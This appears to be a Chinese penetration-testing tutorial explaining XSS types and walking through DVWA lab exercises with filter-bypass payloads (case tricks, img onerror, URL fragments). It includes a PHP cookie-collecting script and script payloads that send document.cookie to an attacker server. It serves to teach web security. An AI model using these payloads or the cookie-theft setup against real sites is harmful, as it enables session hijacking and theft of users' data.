渗透测试——八、网站漏洞——XSS跨站脚本攻击-灵析社区

超超

一、XSS的定义

XSS 攻击(跨站脚本攻击) 通常指的是利用网页开发时留下的洞,通过巧妙的方法注人恶意指令代码,使正常用户在访问网页时泄露敏感信息的攻击行为。这些恶意网页程序通常是Java-Script,但实际上也可以是 Java、VBScript、ActiveX、Flash,甚至是普通的 HTML。攻击成功后,攻击者可能得到更高的权限(例如执行一些操作)、私密网页内容、会话和Cookie 等各种内容。

二、XSS的分类

按攻击代码的工作方式,XSS 可以分为三个类型:

  • 1、持久型跨站:是最直接的危害类型,跨站代码存储在服务器 (数据库) 中。
  • 2、非持久型跨站:反射型跨站脚本漏洞,是最普遍的类型。步骤为:用户访问服务器一)跨站链接-+返回跨站代码。
  • 3、DOM跨站 (DOM XSS):基于 DOM 的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM 环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地 DOM 的恶意篡改利用。

三、XSS的攻击手段

  • 1、盗用 cookie,获取敏感信息。
  • 2、利用植入的 Flash,通过 crossdomain 权限设置进一步获取更高权限,或者利用Java 等得到类似的操作。
  • 3、利用 irame、frame、XMLHttpRequest 或上述Fash 等方式,以用户(被攻击)的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
  • 4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
  • 5、访问量极大的一些页面上的 XSS 可以攻击一些小型网站,实现 DDOS 击的效果。

四、XSS(DOM型)网页之XSS测试

将安全级别调整至Low 级别,打开“XSS (DOM型)”页面:

从源代码可以看出,这里 Low 级别的代码没有任何保护。

这时构造 URL;http;//192,168.217.130/dvwa/vulnerabilities/xss_d/? default =< script > alert('hack')</script>,按 Enter 键,执行成功。

<script>alert('hack')</script>是JavaScript 语句,作用是弹出一个“hack”弹框,也可以获得用户在网页上的信息,甚至密码等。
现实中,攻击者常常可以参照以下流程获得敏感信息首先,攻击者在自己的服务器上发布如下网页:

cookie.php
<?php
$cookie=$_get['$cookie'];
$file_put_contents('cookie.txt',$cookie);
?>

作用是将 get 请求参数存储到 cookie 变量中,并且把 cookie 写到 cookietxt 文件中,然后构造一段 JavaScript 攻击脚本,比如:

<script>document.location='http://攻击者服务器地址/cookie.php/cookie='+document.cookie;
</script>
//document.location 将页面的内容传向指定位置

最后寻找一些能进行 XSS 基本注人的网站,或把脚本上传到网站 (存储型),或直接构造URL如下:

http://192,168.217.130/dvwa/vulnerabilities/xss_d/default=<script>document.location 
='http://127.0.0.1/cookie.php/cookie ='+document.cookie:</script ># //要对参数进行 URL 

发送给受害者,当受害者访问链接时,就会把受害者访问时的 cookie 信息发送给攻击者服务器,并记录在 cookie.txt 文件中。
将安全级别调整至 Medium 级别,打开“XSS(DOM型)”页面:

可以看到,Medium级别的代码先检查了 default 参数是否为空,如果不为空,则使用 stripos 函数检测 default值中是否有“<script”,如果有,则将 default 设置为 English,从而避免XSS弹框出现。
构造 URL:

http://192.168.217.130/dywa/vulnerabilities/xss_d/?default= English </option >
</select > <img src ="1" onerror ="alert(' hack ')">

按 Enter 键,执行成功。

构造的 URL首先闭合 English 前面的<option >、<select >标签;其次利用img标签的onerror 事件(和<script>类似),在加载图像的过程中,如果发生错误,会触发脚本:最后执行脚本,弹出信息。

将安全级别调整至 High 级别,打开“XSS (DOM型)”页面。

从代码中可以看出,后台代码白名单只允许 default 值为 French、English、German、Spanish中的一个。

构造 URL: http://192.168.217.130/dvwa/vulnerabilities/xss_d/?default=English# <script>alert('hack')</script>,按 Enter 键,执行成功。

构造的URL为了绕过白名单过滤,采用了#符号,其注释部分的 JavaScript 代码不让进行后台验证。

五、XSS(反射型)网页之测试

将安全级别调整至 Low 级别,打开“XSS (反射型)”页面:

代码并没有对XSS 攻击进行任何限制,试着输入“<script >alert('hacker')</script>”单击“提交”按钮。

将安全级别调整至 Medium 级别,打开“XSS (反射型)”页面:

Medium级别只是将<script>标记替换为空,这时使用“<SCRIPT >alert('hacker ')</SCRIPT>”大写绕过,单击“提交”按钮:

将安全级别调整至 High 级别,打开“XSS (反射型)”页面:

可以看到,High 级别的代码使用了正则表达式,直接把“<*s*c*r*i*p*t”给过滤了,*代表一个或多个任意字符,i代表不区分大小写。这时使用<script>标记已经没有作用了。在上一案例中接触到img标签的 onerror 事件,其也能触发脚本,于是构造“<img src= # onerror=alert('hacker')>”,单击“提交”按钮。

六、XSS(存储型)网页之测试

存储型XSS 是将 Script 语句上传并存储在一个网站上,受害者访问这个网站时,存储的脚本被激活,受害者的敏感信息则被发送到攻击者的服务器上。将安全级别调整至 Low 级别,打开“XSS (反射型)”页面:

代码中的 PHP函数如下:

  • trim()函数,用于去除字符串左、右两侧的空格
  • stripslashes()函数,用于去除字符串中的反斜杠。
  • mysqli_real_escape_string()函数,对SOL语中的特殊字符进行转义。

从代码上看,此处只是对输入的 name、message 做了防止 SQL 注入的过滤,并没有对XSS攻击进行安全性的过滤和处理。

试着在留言里写人“<script >alert("harker")</script>”,单击“提交留言”按钮这时每次刷新页面都会出现弹框。也就是说,XSS 语句已经写进了网站的后台数据库。

把 XSS 语句修改为<script > document. location ='http://攻击者网站地址/acceptcookie.php?cookie='+document.cookie;</script>,并提交到网站中,这样,当正常用户访问该网站时,就会把自己当前的 cookie 信息发送到攻击者服务器上了。

将安全级别调整至Medium级别,打开“XSS (反射型)”页面:

代码中的PHP函数如下:

  • strip_tags()函数,去除 html标签。
  • htmlspecialchars()函数,将预定义字符转换成HTML实体。
  • str_replace()函数,转义函数,将指定的字符或字符串转换成别的字符,这里是将< script>转为空。其缺点是转义的时候区分大小写。

与Low 级别相比,可以看出对 message 的值进行了标签的过滤及预定义字符的转义,对name 的值只进行了标签的过滤。显然,对于message,已经很难写入“<script>”这样的标记语句了,但对name字段,虽然过滤了“<script>”,但可以大小写绕过。试着在名字文本框里写人“<Script>alert("harker")</Script>”,同时在网页前台代码中修改 name字段大小的限制。单击“提交留言”按钮。查看后台数据库。

将安全级别调整至 High 级别,打开“XSS (反射型)”页面:

与Medium 级别相比,High 级别显然对 name的值进行了更严格的限制,不能用类似的大小写绕过的方法。

通过前面任务的学习,可知 name 的值可构造如下:

<img src = 1 onerror = alert( " hacker" )>

在前台代码中,修改 name 字段大小的限制,单击“提交留言”按,查看后台数据库。

阅读量:2024

点赞量:0

收藏量:0